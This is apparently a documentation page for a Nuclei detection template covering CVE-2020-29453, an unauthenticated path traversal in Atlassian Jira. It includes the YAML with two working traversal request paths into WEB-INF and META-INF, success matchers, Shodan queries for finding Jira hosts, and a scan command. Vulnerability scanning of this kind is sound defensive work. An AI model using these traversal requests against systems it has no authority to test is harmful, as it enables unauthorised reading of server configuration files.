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Jira Server Pre-Auth - Arbitrary File Retrieval (WEB-INF, META-INF)

ID: CVE-2020-29453

Severity: medium

Author: dwisiswant0

Tags: cve,cve2020,atlassian,jira,lfi,intrusive

The CachingResourceDownloadRewriteRule class in Jira Server and Jira Data Center allowed unauthenticated remote attackers to read arbitrary files within WEB-INF and META-INF directories via an incorrect path access check.

id: CVE-2020-29453
info:
name: Jira Server Pre-Auth - Arbitrary File Retrieval (WEB-INF, META-INF)
author: dwisiswant0
severity: medium
description: The CachingResourceDownloadRewriteRule class in Jira Server and Jira Data Center allowed unauthenticated remote attackers to read arbitrary files within WEB-INF and META-INF directories via an incorrect path access check.
impact: |
An attacker can retrieve sensitive files containing configuration information, potentially leading to further exploitation or unauthorized access.
remediation: |
Apply the necessary patches or updates provided by Atlassian to fix the vulnerability.
reference:
- https://jira.atlassian.com/browse/JRASERVER-72014
- https://nvd.nist.gov/vuln/detail/CVE-2020-29453
- https://github.com/ARPSyndicate/cvemon
- https://github.com/ARPSyndicate/kenzer-templates
- https://github.com/UGF0aWVudF9aZXJv/Atlassian-Jira-pentesting
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
cvss-score: 5.3
cve-id: CVE-2020-29453
cwe-id: CWE-22
epss-score: 0.01696
epss-percentile: 0.86435
cpe: cpe:2.3:a:atlassian:data_center:*:*:*:*:*:*:*:*
metadata:
max-request: 2
vendor: atlassian
product: data_center
shodan-query:
- http.component:"Atlassian Jira"
- http.component:"atlassian jira"
tags: cve,cve2020,atlassian,jira,lfi,intrusive
http:
- method: GET
path:
- "{{BaseURL}}/s/{{randstr}}/_/%2e/WEB-INF/classes/META-INF/maven/com.atlassian.jira/jira-core/pom.xml"
- "{{BaseURL}}/s/{{randstr}}/_/%2e/META-INF/maven/com.atlassian.jira/atlassian-jira-webapp/pom.xml"
matchers-condition: and
matchers:
- type: word
part: body
words:
- <groupId>com.atlassian.jira</groupId>
- type: status
status:
- 200
# digest: 4a0a004730450220618c38b5ab738f04bd89da515c42dfe2f07b579845fe8a266361b68c0b7251f3022100d0f7138845f0199a6aa3b9905d3295596bb70af306116ba1c7559bac6080ad69:922c64590222798bb761d5b6d8e72950

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2020/CVE-2020-29453.yaml"

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